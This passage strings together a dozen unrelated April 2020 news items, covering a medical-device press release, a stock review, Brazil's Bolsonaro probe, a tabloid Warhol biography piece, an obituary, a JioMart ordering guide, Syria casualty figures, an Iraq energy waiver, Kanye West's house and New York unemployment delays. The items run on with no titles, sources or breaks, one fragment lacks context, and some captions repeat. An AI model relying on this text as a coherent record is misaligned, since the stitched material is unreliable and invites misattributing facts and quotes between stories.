dignity of human lives is important. That means all human lives, including and especially those of the most vulnerable. The truth, as this pandemic is revealing, is that we are all vulnerable. This is glaringly clear in the case of workers and patients in long-term care facilities. There, normal is the problem. It must change. Jim Silver is a professor at the University of Winnipeg and a research associate with Canadian Centre for Policy Alternatives. PR-Inside.com: 2020-04-28 07:04:02 PRESS RELEASE 28 APRIL 2020 07:00 CEST REGULATED INFORMATION Publication of Annual Report 2019 Ghent, BELGIUM 28 April 2020 Sequana Medical NV (Euronext Brussels: SEQUA, the "Company" or "Sequana Medical"), an innovator in the management of fluid overload in liver disease, malignant ascites and heart failure, today invites the holders of securities issued by the Company to attend the Annual and Extraordinary General Meetings of Shareholders on Thursday 28 May 2020. Furthermore, the annual report for the financial year 2019 has been published on Sequana Medicals website and can be accessed here . The items on the agendas of the meetings include the proposed approval of a number of resolutions relating to the financial year ended on 31 December 2019, as well as the adoption of an amended and restated version of the articles of associations in accordance with the provisions of the new Belgian Companies and Associations Code and reflecting some technical changes. The Annual and Extraordinary General Meetings of Shareholders will take place at the Company's registered offices in Ghent and will start at 09:00 CEST. The full convening notice with the agenda and proposed resolutions can be accessed on the Sequana Medical website: www.sequanamedical.com/investors/shareholder-information . Exceptionally, and in accordance with the Belgian Royal Decree no. 4 of 9 April 2020 on miscellaneous provisions relating to co-ownership and corporate and association law in the context of the fight against the COVID-19 pandemic, the Board of Directors of the Company has decided to hold the meetings behind closed doors without the physical presence of the holders of securities of the Company and their representatives. As a result, the shareholders of the Company can exercise their voting rights only by voting by mail or by means of a handwritten proxy to the Chairman of the Board of Directors. Furthermore, holders of securities of the Company can only exercise their right to ask questions related to the items on the respective agendas of the meetings by means of written questions prior to the respective meetings. For more information, please see the full convening notice on the Companys website. As postal services may be disrupted due to the COVID-19 pandemic, the Company recommends the holders of its securities use e-mail for all communications with the Company regarding the general shareholders' meetings. The Company's e-mail address for such communications is: IR@sequanamedical.com . For more information, please contact: Sequana Medical Lies Vanneste, Director IR Tel: +32 498 05 35 79 Email: IR@sequanamedical.com Consilium Strategic Communications Amber Fennell, Sukaina Virji, Melissa Gardiner Tel: +44 203 709 5000 Email: sequanamedical@consilium-comms.com LifeSci Advisors Chris Maggos Tel: +41 79 367 6254 Email: chris@lifesciadvisors.com About Sequana Medical Sequana Medical is a commercial stage medical device company developing the alfapump platform for the management of fluid overload in liver disease, malignant ascites and heart failure. Fluid overload is a fast growing complication of advanced liver disease driven by NASH (non-alcoholic steatohepatitis) related cirrhosis and a common complication in heart failure. The U.S. market for the alfapump resulting from NASH-related cirrhosis is forecast to exceed 3 billion annually within the next 10-20 years. The heart failure market for the alfapump DSR (Direct Sodium Removal) is estimated to be over 5 billion annually in the U.S. and EU5 by 2026. Both indications leverage Sequana Medical's alfapump, a unique, fully implanted wireless device that automatically pumps fluid from the abdomen into the bladder, where it is naturally eliminated through urination. In the U.S., the company's key growth market, the alfapump has been granted breakthrough device designation by the FDA. The North American pivotal study (POSEIDON) in recurrent and refractory ascites due to liver cirrhosis is currently underway, and is intended to support approval of the alfapump in the U.S. and Canada. In Europe, the alfapump is CE-marked for the management of refractory ascites due to liver cirrhosis and malignant ascites and is included in key clinical practice guidelines. Over 750 alfapump systems have been implanted to date. Building on its proven alfapump platform, Sequana Medical is developing alfapump DSR, a breakthrough, proprietary approach to fluid overload due to heart failure. Clinical proof-of-concept was achieved in a first-in-human single dose DSR study and a repeated dose alfapump DSR study (RED DESERT) in heart failure patients is currently underway. Sequana Medical is headquartered in Ghent, Belgium. For further information, please visit www.sequanamedical.com . Important Regulatory Disclaimers The alfapump has not yet received regulatory approval in the U.S. and Canada. Any statement in this press release about safety and efficacy of the alfapump does not apply to the U.S. and Canada because the device is currently undergoing clinical investigation in these territories. DSR therapy and alfapump DSR are still in development and it should be noted that any statements in this press release regarding safety and efficacy arise from pre-clinical studies and ongoing clinical investigations which have yet to be completed. There is no link between DSR therapy, alfapump DSR and ongoing investigations with the alfapump system in Europe, the U.S. and Canada. Forward-looking statements This press release may contain predictions, estimates or other information that might be considered forward-looking statements. Such forward-looking statements are not guarantees of future performance. These forward-looking statements represent the current judgment of Sequana Medical on what the future holds, and are subject to risks and uncertainties that could cause actual results to differ materially. Sequana Medical expressly disclaims any obligation or undertaking to release any updates or revisions to any forward-looking statements in this press release, except if specifically required to do so by law or regulation. You should not place undue reliance on forward-looking statements, which reflect the opinions of Sequana Medical only as of the date of this press release. JetBlues announcement came on the same day that American Airlines said it would make masks mandatory for its crew members starting May 1. The airline is not requiring customers to wear masks, but said beginning early next month, it would begin distributing masks, sanitizing wipes and gel to customers and would expand that offering to all flights as supplies and operational conditions allow. Statistically speaking, long term investing is a profitable endeavour. But along the way some stocks are going to perform badly. For example, after five long years the Chatham Lodging Trust (NYSE:CLDT) share price is a whole 76% lower. We certainly feel for shareholders who bought near the top. And we doubt long term believers are the only worried holders, since the stock price has declined 66% over the last twelve months. Furthermore, it's down 61% in about a quarter. That's not much fun for holders. See our latest analysis for Chatham Lodging Trust To paraphrase Benjamin Graham: Over the short term the market is a voting machine, but over the long term it's a weighing machine. One imperfect but simple way to consider how the market perception of a company has shifted is to compare the change in the earnings per share (EPS) with the share price movement. Looking back five years, both Chatham Lodging Trust's share price and EPS declined; the latter at a rate of 30% per year. The share price decline of 25% per year isn't as bad as the EPS decline. The relatively muted share price reaction might be because the market expects the business to turn around. The image below shows how EPS has tracked over time (if you click on the image you can see greater detail). NYSE:CLDT Past and Future Earnings April 28th 2020 This free interactive report on Chatham Lodging Trust's earnings, revenue and cash flow is a great place to start, if you want to investigate the stock further. What about the Total Shareholder Return (TSR)? Investors should note that there's a difference between Chatham Lodging Trust's total shareholder return (TSR) and its share price change, which we've covered above. The TSR attempts to capture the value of dividends (as if they were reinvested) as well as any spin-offs or discounted capital raisings offered to shareholders. Its history of dividend payouts mean that Chatham Lodging Trust's TSR, which was a 67% drop over the last 5 years, was not as bad as the share price return. Story continues A Different Perspective While the broader market lost about 2.1% in the twelve months, Chatham Lodging Trust shareholders did even worse, losing 64%. Having said that, it's inevitable that some stocks will be oversold in a falling market. The key is to keep your eyes on the fundamental developments. Unfortunately, last year's performance may indicate unresolved challenges, given that it was worse than the annualised loss of 20% over the last half decade. Generally speaking long term share price weakness can be a bad sign, though contrarian investors might want to research the stock in hope of a turnaround. It's always interesting to track share price performance over the longer term. But to understand Chatham Lodging Trust better, we need to consider many other factors. For instance, we've identified 4 warning signs for Chatham Lodging Trust (2 don't sit too well with us) that you should be aware of. For those who like to find winning investments this free list of growing companies with recent insider purchasing, could be just the ticket. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on US exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Brazil's Supreme Court gave the green light for a probe into allegations that Jair Bolsonaro tried to interfere with police investigations, adding to the president's difficulties as the wheels come off Latin America's biggest economy and his cabinet threatens to implode. Brazilian bonds dropped after Monday's court decision, which presents Bolsonaro with his deepest political crisis to date. The president could face criminal charges and even potential removal from office in the longer-term if found guilty of wrongdoing. The dramatic development adds to the sense that Bolsonaro is fighting on all fronts. Earlier this month he fired his health minister, who refused to bow to demands to ease social distancing policies in favor of reopening the economy. Tensions with the economy minister are already spilling into the open amid cabinet differences over efforts to bring Brazil out of its coronavirus-induced malaise. Bolsonaro's credentials as an anti-graft crusader helped him sweep to power in 2018, but that reputation was dealt a blow by the unexpected resignation on Friday of Justice Minister Sergio Moro, who departed accusing the president of having fired the federal police chief without cause and implying that he had done so for political reasons. Shortly after, the federal prosecutor's office presented a request for an investigation to the Supreme Court. The federal police are conducting a number of probes that could potentially implicate members of Bolsonaro's family, including financial crimes and social media attacks, according to multiple reports in Brazilian media. The president and his sons have denied any wrongdoing. The president may be subject to charges of obstruction of justice, coercion, corruption, and identity fraud if allegations that he tried to influence police investigations prove true, according to the general prosecutor. If the investigation reveals that Moro's accusations were false, the former judge could face charges for slander. The case marks a further deterioration of Bolsonaro's standing during a roller-coaster time in office. Moro is a national hero in the eyes of many Brazilians for his relentless pursuit of corrupt officials in his former career: A poll on Saturday found that his exit was seen as negative for the country by 67% of respondents, while 49% said they expect the remainder of Bolsonaro's presidency to be bad or "terrible." Bolsonaro's disapproval rating is at an all-time high of 42%. The new head of the federal police was named in the official gazette early on Tuesday as Alexandre Ramagem, who leads the national intelligence agency. Ramagem is close to the president's sons, according to Folha de S.Paulo newspaper. Andre Mendonca was named justice minister. Brazilian government bonds came under pressure on Tuesday after the Supreme Court decision, with government debt due 2045 declining for a seventh day, its longest losing streak since October. The real has lost almost 30% of its value this year, the most among the world's main currencies. Even as the need to shore up the economy moves center stage, cabinet feuding over how to go about it threatens more instability. Bolsonaro is under pressure to boost spending even at the risk of a damaging split with Economy Minister Paulo Guedes that could push Guedes out of government, taking most of his team with him. Analysts surveyed by the central bank now see the Brazilian economy shrinking 3.3% in 2020, still well below the 5% contraction forecast by the World Bank and the International Monetary Fund. Bolsonaro has been widely criticized and clashed with state governors over his dismissive attitude to the pandemic that has already killed some 4,600 people in Brazil, in marked contrast to countries including neighbor Argentina, which enacted a strict lockdown. While presidential elections are not due until 2022, municipal voting scheduled for October this year will offer an insight into how the public judges Bolsonaro's handling of the crisis and its aftermath. The Supreme Court, by allowing the investigation into a sitting president to begin, had to determine that the alleged crimes were conducted within the exercise of his function as president. The first step of the process will involve taking an official statement from Moro. He had a reputation for being asexual but Andy Warhol actually had a string of male lovers, a major new biography reveals. The artist lived with one boyfriend for 12 years and once bragged to friends that his 'bum is so sore because I met this (guy) and he screwed the a** off me'. Former lovers said Warhol was an 'expert at fellatio' and that he 'blows like crazy', referring to oral sex. Warhol even once took 'sex lessons' from a female friend and her sailor lover to improve his skills in the bedroom. But despite his appetite for sex, Warhol never appeared to have got the hang of it, as one conquest said he was 'lousy' and another said their intercourse was 'at a schoolboy level'. The details are revealed in the new book Warhol by Blake Gopnik, a 900-page book about the Pop Art genius best known for his silkscreen paintings such as Campbell's Soup Cans. Andy Warhol was not asexual but had a string of male lovers, the major new biography Warhol by Blake Gopnik reveals. The artist lived with one boyfriend for 12 years and former lovers said Warhol was an 'expert at fellatio' and that he 'blows like crazy', referring to oral sex. Pictured: Warhol with actor Patrick Fleming in 1966 Among the men who caught Warhol's eye was author Truman Capote who he became obsessed with and began stalking. Pictured: American film producer Lester Persky with Warhol and Capote in 1978 Warhol became one of the world's most influential artists by collapsing the idea of high and low culture and bringing consumerist art to the masses. He was obsessed with celebrity and coined the phrase that turned into a prophecy, that one day everyone will be famous for 15 minutes. But on a personal level, Warhol has built up a reputation for being aloof from others, especially when it came to sex. Gopnik writes this wasn't the case and details his conquests in depth, concluding the perception of Warhol as being asexual relates to 'some remaining homophobia in our culture'. The details are revealed in the new book Warhol by Blake Gopnik , a 900-page book about the Pop Art genius Gopnik writes: 'If we've finally come to accept that one of our artistic icons was gay, we still prefer not to picture him caught in the act with men.' Warhol was born Andrew Warhola in 1929 to immigrants from what is now known as Slovakia in Pittsburgh where being gay could led to being arrested. In the 1940s insodomy was still prosecuted as a crime and the Pittsburgh police created a 'Morals Squad' whose only job was to arrest gay men. Warhol supposedly cried during cuddles over the shame of growing up gay in Depression-era Pittsburgh where gay men and women were treated like criminals. So it was only when Warhol moved to New York in 1949 that he began to explore his gay identity, Gopnik writes. Warhol was 'utterly immersed' in the gay community of Manhattan and one Halloween he turned up to a party wearing a garland of flowers, as 'daisy chain' was gay slang for a round robin orgy. Warhol's first 'notable' crush was a pen pal, a young artist named Tommy Jackson who was a 'blond haired hunk' of a man who was four years younger than Warhol. Jackson lived in Boston and St Paul, Minnesota, and he and Warhol became 'raunchy correspondents' with postcards that read things like: 'Sex'. One of Jackson's first cards read: 'It is better to have failed your wasserman (blood test for syphilis) than never to have loved at all.' Warhol (pictured in 1981) supposedly cried during cuddles over the shame of growing up gay in Depression-era Pittsburgh where gay men and women were treated like criminals Warhol was 'utterly immersed' in the gay community of Manhattan and one Halloween he turned up to a party wearing a garland of flowers, as 'daisy chain' was gay slang for a round robin orgy. Pictured: Warhol with Jerry Hall, Debbie Harry, Truman Capote and Paloma Picasso at Studio 54 circa 1970s Among the others who caught Warhol's eye was author Truman Capote who he became obsessed with and began stalking. Warhol sent Capote postcards at his home and then began to follow him around in person, once waiting outside the fashionable Stork Club where Capote was dining. While hanging around outside Capote's apartment one day, the writer's mother invited him in after apparently taking pity on him. Warhol took this as a cue to start phoning Capote every day until his mother told him to stop - the two men would later become friends in the 1970s when their cultural stars aligned. Warhol's first proper lover, to whom he appears to have lost his virginity to, was a 20-year-old called Carlton Alfred Willers, who Warhol called' Willers'. Willers was a clerk at the picture collection of the New York Public Library and Gopnik writes the two men were 'intimate'. But Warhol was 'lousy in bed' as Willers described it, a description Warhol would be given by lovers 'for the rest of his life'. Willliers said Warhol was 'certainly not passionate, he was more passionate about food and eating'. Warhol's passions were for 'the beautiful people who owned and frequented certain restaurants', Gopnik writes. It took a lot of coaxing to have sex and Warhol could 'barely manage intimacy' said Willers, who revealed that occasionally during an 'intimate moment' when they were cuddling Warhol cried. Warhol's first proper lover, to whom he appears to have lost his virginity to, was a 20-year-old called Carlton Alfred Willers, who Warhol called' Willers'. Willers was a clerk at the picture collection of the New York Public Library and Gopnik writes the two men were 'intimate'. But Warhol was 'lousy in bed' as Willers described it, a description Warhol would be given by lovers 'for the rest of his life'. Pictured: Warhol at his art studio One of Warhol's other boyfriends was Robert Pincus-Witten (left) who appeared in Warhol's film The 13 Most Beautiful Boys. Pincus-Witten was a 19-year-old who admitted he was a 'star f**ker' and sought out Warhol at The Factory. Like many of Warhol's lovers, Pincus-Witten said the sex was 'bad and awkward, even absurd' and didn't last very long. Another major lover was Charles Lisanby (right), a TV art director who later designed The Garry Moore Show, the comedy show that made a star of actress Carol Burnett. Warhol found himself drawn to Lisanby because he was tall, dark and from a 'horsey Southern family' Warhol's passions were for 'the beautiful people who owned and frequented certain restaurants', Gopnik writes. Pictured: Warhol with Jerry Hall Gopnik writes: 'He'd tell Willers that he's been thinking about something sad from his past, but it seems just as likely that Warhol had a depressive streak that few got to see - unless they looked closely at his art.' Stephen Bruce, one of the founders of a popular Manhattan cafe called Serendipity, where Warhol became a regular, said he would fall under the spell of 'every attractive young man in the city, including me'. One such young man was Dudley Huppler, an artist from Wisconsin who was 11 years Warhol's junior and was close to Warhol for several years. His next major lover was Charles Lisanby, a TV art director who later designed The Garry Moore Show, the comedy show that made a star of actress Carol Burnett. Warhol found himself drawn to Lisanby because he was tall, dark and from a 'horsey Southern family'. Gopnik writes the relationship 'hovered between a friendship, a flirtation and a love affair - depending on which of the two you asked to describe it'. Lisanby explained he 'didn't think Warhol wanted to have sex because it was 'messy'. Lisanby said: 'That was his word, it was too ''messy and distasteful''. He told me he'd had sex a few times, he had tried it and didn't really like it'. But Gopnik notes there is 'plenty of evidence' that Warhol enjoyed 'all kinds of erotic contact in those early years and over the course of his life'. Even Lisanby said when it came to sexual function, Warhol was 'normal in all respects'. But Gopnik notes there is 'plenty of evidence' that Warhol enjoyed 'all kinds of erotic contact in those early years and over the course of his life'. Even Lisanby said when it came to sexual function, Warhol was 'normal in all respects' One friend who knew Warhol in the 1950s remembered him saying: 'Oh, my bum is so sore because I met this number and he screwed the a** off me'. The friend didn't believe Warhol because he also had bought into the idea of him as asexual. Yet within a few years, Warhol was having surgery for anal warts and a tear, Gopnik writes. Pictured: Warhol with film director Paul Morissey, Viva and Gordon Locksley in 1968 One friend who knew Warhol in the 1950s remembered him saying: 'Oh, my bum is so sore because I met this number and he screwed the a** off me'. The friend didn't believe Warhol because he also had bought into the idea of him as asexual. Yet within a few years, Warhol was having surgery for anal warts and a tear, Gopnik writes. A decade later Warhol was treated at a hospital for condylomata, a sexually transmitted disease and required penicillin to rid it, but his recovery took weeks. In fact he would be treated for rectal problems in the 1980s, suggesting Warhol was participating in some kind of sexual activity. Taylor Mead, who Gopnik calls one of Warhol's 'closest gay collaborators', once claimed he 'blows like crazy - or wherever he can get it', apparently referring to oral sex. Several other friends 'either witnessed Warhol having sex or heard him bragging about it'. Warhol once got angry with his former assistant Vito Giallo for not joining him on his Wednesday night 'sex lessons' with his female friend and her sailor lover. Giallo, who was far from a shrinking violet, declared them 'too strange for me'. Another of Warhol's lovers was Billy Name, aka William George Linich, who was a photographer and archivist at The Factory, Warhol's infamous work and party space in Manhattan. Name became Warhol's 'pet' and Warhol would sent him notes saying: 'My mother told me to pick the very best one. I pick you.' Another of Warhol's lovers was Billy Name (pictured in 1997), aka William George Linich, who was a photographer and archivist at The Factory, Warhol's infamous work and party space in Manhattan. Name became Warhol's 'pet' and Warhol would sent him notes saying: 'My mother told me to pick the very best one. I pick you' . But Warhol did give him one thing - crabs, the sexually transmitted disease. Pictured: Warhol with actor Mario Montez, who is dressed as a woman, on the set of Warhol's film, 'Chelsea Girls' in 1967 The two were briefly lovers but were 'very awkward and very shy about the whole sexual thing', Name said. Name said if he put his hand on Warhol's shoulder, he would jump as another lover said that Warhol was 'so feather-light that it sent one lover into ecstatics'. Another lover said Warhol was an 'expert at fellatio'. One of Warhol's other boyfriends was Robert Pincus-Witten who appeared in Warhol's film The 13 Most Beautiful Boys. Pincus-Witten was a 19-year-old who admitted he was a 'star f**ker' and sought out Warhol at The Factory. Like many of Warhol's lovers, Pincus-Witten said the sex was 'bad and awkward, even absurd' and didn't last very long. But Warhol did give him one thing - crabs, the sexually transmitted disease. Pincus-Witten joked that if the pests didn't come from the couch at The Factory then it was from 'Andy's crotch'. In 1968 Warhol survived an assassination attempt by radical feminist writer Valerie Solanas, leaving him with deep scars from the bullet wounds. That year he met Jed Johnson, who would later become a famed interior designer, and the two stayed together for 12 years. At the time Johnson was a 19-year-old college kid from California who worked at The Factory fixing things up. He moved in with Warhol and they 'functioned as husband and husband' and appeared to have a full sexual relationship. That year he met Jed Johnson (pictured together), who would later become a famed interior designer, and the two stayed together for 12 years. At the time Johnson was a 19-year-old college kid from California who worked at The Factory fixing things up. He moved in with Warhol and they 'functioned as husband and husband' and appeared to have a full sexual relationship In an interview before his death on February 22, 1987, from complications after a gallbladder surgery, Warhol declared his 'heart's been broken several times' A friend recalled a time when someone denied another gay couple were lovers, with Warhol saying: 'That would be like saying Jed and I were just friends'. The friend added: 'Believe me, they were lovers'. Jonson confirmed this to a friend later and said sex with Warhol was 'at a schoolboy level'. In public they did not display any affection and Warhol could be a jealous and controlling partner, in no small part due to the attempt on his life. The relationship lasted until 1980, by which time Warhol was partying at Studio 54 where he 'couldn't keep his eyes, or his thoughts, or sometimes his hands, off the gorgeous young lads he saw on the dance floor most nights'. In a farewell note Johnson told Warhol: 'I don't think you'll get (what you're looking for) from your Victors and Kevins and nights at Studio 54. You did have all my love and respect. Sorry it went wrong.' Gopnik writes that underneath the artist's cooler-than-thou exterior, Warhol was actually a 'heart-felt romantic'. He was 'deeply invested' in finding a soul mate and was left 'confused and miserable' when it didn't work out, as was often the case. In an interview before his death on February 22, 1987, from complications after a gallbladder surgery, Warhol declared his 'heart's been broken several times'. He said: 'Sometimes people let the same problems make them miserable for years when they should just say so what. 'That's one of my favorite things to say. So what. My mother didn't love me. So what. My husband won't ball me. So what'. Thomas J. Judge Sr., 91, who served for three decades as chairman of the Delaware County Republican Party and recorder of deeds in the county, died Saturday, April 11. Mr. Judge, of Darby Township, was the partys chairman emeritus when he died. He stepped down as chairman in 2009 after 34 years and retired as recorder of deeds in 2018 after 26 years. His niece Carol Miller recalled her uncle giving her a job with the party 30 years ago, not long after her father died. Miller, now the partys vice chairperson, said that among the most important lessons she learned from him was how to treat people. He had the patience of a saint, Miller said. To be in politics as long as he was and not make any enemies was amazing to me. He just had a calmness about him. Whether you were the president or the janitor at the courthouse, he would treat you like you were the most important person. Mr. Judge was an Army veteran who worked for the Pennsylvania Railroad, Penn Central, and Conrail before running Delaware Countys Solid Waste Authority. He served as a delegate or alternate delegate at every Republican National Convention starting in 1980. Then-Vice President George H.W. Bush appointed him as Pennsylvania chairman for his presidential campaign in 1988. Mr. Judge later served as chairman of the five-county Southeast Caucus for the state party. Former State Sen. Tom McGarrigle, who took over as chairman of the local party in 2018, said Mr. Judge made sure to say hello to every person in a room no matter how large the crowd. He wasnt about being with the important people, McGarrigle said. Tommy always talked to everyone. Whether you were from a big city or a little town, he talked to everyone and treated them with respect. State Republican Chairman Lawrence Tabas hailed Mr. Judge for his insights and guidance. Toms impact on politics is as wide-ranging as it is impressive, Tabas said. From advising presidents and state officials to assisting local candidates and officeholders, he treated everyone with respect and was very generous with his time and guidance. Andy Reilly, who succeeded Mr. Judge as county chairman in 2009, said he lived by the credo of family, faith, and the Delaware County Republican Party. As the face of the Delaware County Republican Party for 30 years, Tom was a sentinel that served as protector and guardian of the party, Reilly said. He will be missed. Mr. Judge was preceded in death by his wife of 63 years, the former Catherine Dowd. He is survived by children Thomas, Robert, William, Catherine Cardillo, and Donna Tutak; a sister; 12 grandchildren; and 10 great-grandchildren. Services were private. A memorial service will be held at a later date. After signing its historic $5.7 billion deal with Facebook, Reliance Industries has rolled out a new e-commerce platform called JioMart which contains over 50,000 products including groceries and essential items. While Reliance is still working on launching JioMart through an app on Android and iOS, it has released a WhatsApp number for people to order groceries through amid the COVID lockdown. JioMart is currently available in Kalyan, Thane and Navi Mumbai areas only, however it is expected to expand to other areas very soon. Here is a step-by-step guide on how to order groceries through JioMart. Read: How To Get The Sparkle Filter On TikTok? Details About The Filter Inside Read: Explained: How To Make A Slow-motion Video On TikTok And Other TikTok Effects Step 1: Save the WhatsApp number- 88500 08000 in your contacts After you have saved the number you can find JioMart in your WhatsApp contacts. Open the chat. Step 2: Type 'Hi' in the chat message After you send a 'Hi' Jio will reply with its automated message which would look like this. Step 3: Click on the hyperlink sent in the automated message The link only stays active for 30 minutes. It would open up to a page that looks like this. Step 4: Choose your location from the drop-down menu and fill in your details Step 5: Select the groceries that you want and click 'Place Order' After you have placed the order, you will receive an update from the store when your order is ready, following which you can head to the store and collect your JioMart order. Read: Google 3D Animal Feature: Here's How You Can Add An Animal Hologram To Your Surroundings Read: WhatsApp Stickers Of Yourself: Here's How You Can Make Stickers Of Your Pictures For Chats Over the past year, more that 2,000 civilians were killed as a result of the military campaign conducted by Russia and the regime in northern Syria reports Jesr. A report published by the Syrian Civil Defense on Sunday revealed the number of civilians who fell victim to the military campaign by regime and Russian forces in northern Syria, from Apr. 26, 2019 to Mar. 5, 2020. 2,029 civilians were killed in the military campaign, including 1,191 men, 483 children and 338 women, the Civil Defense said in a statement, adding that 17 of its own members had also fallen in the same campaign. According to the statement, there were 5,281 civilians injured, including 3,136 men, 1,201 children, 867 women and 77 Civil Defense personnel. Regime and Russian forces launched a military campaign in northern Syria, beginning in rural northern Hama and southern Idleb governorates. It ended with regime forces seizing control over wide swathes of northern Syria, in addition to the M5 international highway. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. The United States has granted Iraq an added waiver for compliance with sanctions against Iran, allowing Baghdad to continue importing gas and electricity from the Islamic Republic for 30 more days. The US State Department informed the Iraqi government of the waiver by phone, The Associated Press reported today. The Donald Trump administration first threatened countries that rely on Iran for their energy needs with sanctions last year, originally granting a number of nations temporary waivers. The move has been part of the administrations plan to confront Iran after Trump withdrew from the Iran nuclear deal in 2018. Originally, Iraq received a series of monthslong waivers from the United States. However, in March, the United States granted a waiver of only 30 days in order to pressure Iraq more. Some Iraqi lawmakers and pro-Iran militias have sought to expel US forces in the country since a series of escalatory exchanges started in December 2019; these included the US killing of Iranian military leader Qasem Soleimani in Baghdad in January. The expulsion efforts have mostly stalled; the US military is in Iraq as leader of the global anti-Islamic State coalition and there is a consensus among most Iraqi officials on the need to continue cooperation with the coalition. The United States still has forces in the country but has pulled out of several Iraqi bases this year. Iraq must prove it is making efforts to reduce its reliance on Iran for energy to continue qualifying for waivers. Iraq depends on Iranian imports to meet one-third of its energy needs. Iraq is considering importing gas from the autonomous Kurdistan Region in the north as an alternative, but an arrangement is at least months away, according to AP. The Kurdistan Regional Government is currently in a row with Baghdad over oil it is supposed to turn over to the federal government in order to receive its share of the federal budget. Oil-rich Iraq has a troubled electricity system, and most of the country is without power for multiple hours on a daily basis. The use of generators to provide power when government electricity is off is widespread. The energy issues are amplified in the blazing hot summer, when temperatures can rise to well above 100 degrees Fahrenheit (37 degrees Celsius) and people use fans, air conditioning units and water vapor systems to stay cool. Iraqs government is in flux as Iraqs Prime Minister-designate Mustafa al-Kadhimi continues to seek consensus among Iraq's political power brokers on a Cabinet. Kadhimi is the third person designated to be prime minister, and the previous two candidates withdrew their nominations after failing to form a Cabinet approved by parliament. Current Prime Minister Adel Abdul Mahdi first offered to resign in November amid massive anti-government protests across the country, but has remained in office as part of a caretaker government. Kanye West has reportedly purchased his childhood home in Chicago's South Shore neighborhood, just days after Forbes Magazine named him a billionaire. It certainly won't break the bank by any means, as real estate reporter Dennis Rodkin tells WGN9 that the rapper purchased the home for around $225,000, and will need at least $60,000 in repairs, after it had been left in ruins. The property was previously bought by a charity connected to West, that he has since cut ties with, following a feud with his childhood friend, rapper Rhymefest. Sentimental value: Kanye West recently purchased his home in Chicago for around $225,000, and will need at least $60,000 in repairs, after it had been left in ruins. The charity, Donda's House - named after his late mother who died in 2007 following complications with a cosmetic procedure - bought the home in 2016 with plans to turn the building into a community arts 'incubator' for at-risk youths. Rhymefest had announced that the house would serve as the non-profit's headquarters, featuring a pioneering recording studio and museum, in the hope to inspire the next generation. But since those plans fell apart, in the last few years the house has been seen littered with hart-shaped post-its, old CDs and beer bottles. The report adds that it would cost less to tear the house down than to renovate it. Tribute: West had previously been involved in turning the house into a charity HQ to honor his late mother Donda West (pictured above) who died in 2007 West's mother Donda purchased the home back in the early 1980s and sold it in 2004. Donda was an English professor at Chicago State University and is said to have mentored Rhymefest - real name Che Smith - while he was growing up with her son on the South Side. Things came to ahead in 2018 when Rhymefest (who served as the charity's creative director) got into a social media feud with West's wife Kim Kardashian West. Credit due: The publication has valued West's assets at just over a billion, claiming that he is worth around $1.26 billion, while the rapper had claimed that the figure was around $3 billion Hot property: An aerial view of Kanye's Hidden Hills, CA property. He purchased the property from Lisa Marie Presley in 2014 for $20million "You're over leveraging Kanye's name & asked Kanye to donate money to u so stop w your fake community politics & lies," Kardashian West wrote on Twitter. "Truth is you haven't been able to sustain the foundation." She later added, "You better believe I will make it my mission to take Donda's House from you and let my children run it the way it should be run!" Rhymefest denied the accusations in a statement, stating they would no longer be using the name 'Donda's House' for their organisation. It is unclear what West has planned for it, but there will certainly be no expense spared as the rapper's net worth was recently pegged to $1.26bn by a Forbes Magazine report. Family fortunes: Kanye pictured with his wife Kim and their children in December last year However, the article noted that West was left unhappy with their research and findings - stating that he believed his net worth to be around $3.3 billion, rather than the $1.26 billion they have estimated. 'It's not a billion,' West allegedly texted the publication last week. 'It's $3.3 billion since no one at Forbes knows how to count.' West follows sister-in-law Kylie Jenner, 22, who was named by Forbes as the youngest 'self-made' billionaire for the second year in a row. The rapper was said to be unhappy when his name was left out of the rich list earlier this month. People in tribal-dominated Sagwara of Rajasthan's Dungarpur district are making Personal Protective Equipment (PPE) kits to help the nation in the fight against coronavirus. Workers, mostly women, are making 2,000 kits every day catering to the need of corona warriors in their fight against the virus. After receiving the order from the government, a private company has roped tribals in the work. "The work started 10 days ago. Earlier 900 kits were being made every day, now this has been increased to 2,000 per day," Rohit Trivedi, director of the NZ Seasonal Wear company said. Trivedi said most of the workers are tribals who have been provided training by the company. Among the nearly 200 workers, employed at the company amid the lockdown, 50 per cent are women. The Centre had on Monday said the production capacity of the coverall PPE kits are required by medical personnel treating coronavirus-infected patients in the country has been increased to more than one lakh daily. About 50 per cent of the coverall PPE kits production in the country is in Bengaluru. Also the kits are being manufactured by approved units at Dungarpur in Rajasthan, Tirupur, Chennai and Coimbatore in Tamil Nadu, Ahmedabad and Vadodara in Gujarat, Phagwara and Ludhiana in Punjab, Kusumnagar and Bhiwandi in Maharashtra, and Kolkata, Delhi, Noida, Gurugram and some other places. On March 2, the Ministry of Health and Family Welfare decided on PPE kits availability after international companies refrained from supplying them. HLL Lifecare Limited is undertaking procurement of kits for hospitals and healthcare organizations under the Ministry of Health and Family Welfare. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In early April, the NYS Department of Labor told the hundreds of thousands of newly unemployed people to stop calling them all day, every day. If you file a partial claim, they will call you within 72 hours, they said. Bill Burdick, of Mexico, New York, flew out of bed after midnight to answer the phone. It was a recording, saying a real voice would call soon. That was two weeks ago, he said. Chris Jones, of Syracuse, has not had a paycheck in more than a month. He lost his job as a dishwasher at Kitty Hoynes on March 17. He said he and his three children are rationing the food they have left. We dont eat big plates every day, he said. As long as the kids have a couple sandwiches, were OK. Jess Dunn, who lost her job as a bartender in Elmira Heights, says waiting for the call is like sitting in pending purgatory with no idea whats going on. Lawrence Welcome, who lost his job as a machinist in New Berlin, has started raising chickens. Were scraping and doing whatever we can, he said. All four said they tune in to Gov. Andrew Cuomos daily coronavirus briefings, looking for answers. Sometimes at the end, a reporter asks about the delays with unemployment insurance. Cuomo has said the state is moving heaven and earth to get through all the new claims. More than 1.6 million people have filed new unemployment claims since mid-March when Cuomo sent home all non-essential workers. The state now has 3,000 people answering calls and processing claims, instead of the usual 400. The state enlisted Google to revamp the website. Verizon helped increase call capacity. The latest fix was to sort out the process for people who dont normally qualify for unemployment insurance but do qualify for the extra $600 a week in pandemic relief. At first, self-employed people had to be rejected from ordinary 